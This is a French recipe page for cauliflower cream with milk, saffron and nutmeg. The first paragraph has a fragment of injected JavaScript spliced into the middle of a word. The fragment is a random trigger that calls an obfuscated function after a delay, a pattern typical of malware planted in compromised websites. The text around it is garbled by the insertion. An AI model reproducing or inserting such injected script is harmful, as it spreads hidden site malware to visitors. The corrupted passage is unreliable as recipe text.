Crème de chou-fleur
2021-02-26Pelez, coupez en 2 l’ail. Ôtez le germe et l’écraser. Versez de l’eau froide dans une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande casserole avec le jus d’un citron, portez à ébullition, salez, et plongez le chou-fleur que vous faites blanchir pendant 5 minutes en ébullition sur feu vif.
Ingrédients
Pelez, coupez en 2 l'ail. Ôtez le germe et l'écraser. Versez de l'eau froide dans une grande casserole avec le jus d'un citron, portez à ébullition, salez, et plongez le chou-fleur que vous faites blanchir pendant 5 minutes en ébullition sur feu vif. A ce moment retirez le chou-fleur, les égoutter et les rafraîchir sous le robinet d'eau froide pour arrêter la cuisson. Les égoutter à nouveau. Faites chauffer le lait, portez à ébullition, et plongez le chou-fleur, faites les cuire pendant 25 minutes sur feu doux à découvert avec l'ail. Vérifiez la cuisson, et les écraser avec le moulin à légume où un mixeur. Incorporez le beurre, le safran, la noix de muscade, sel, poivre. Faites chauffer doucement tout en mélangeant. Au dernier moment parsemez de cerfeuil ciselé. Et dégustez avec des tranches de jambon de Bayonne et une salade verte.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
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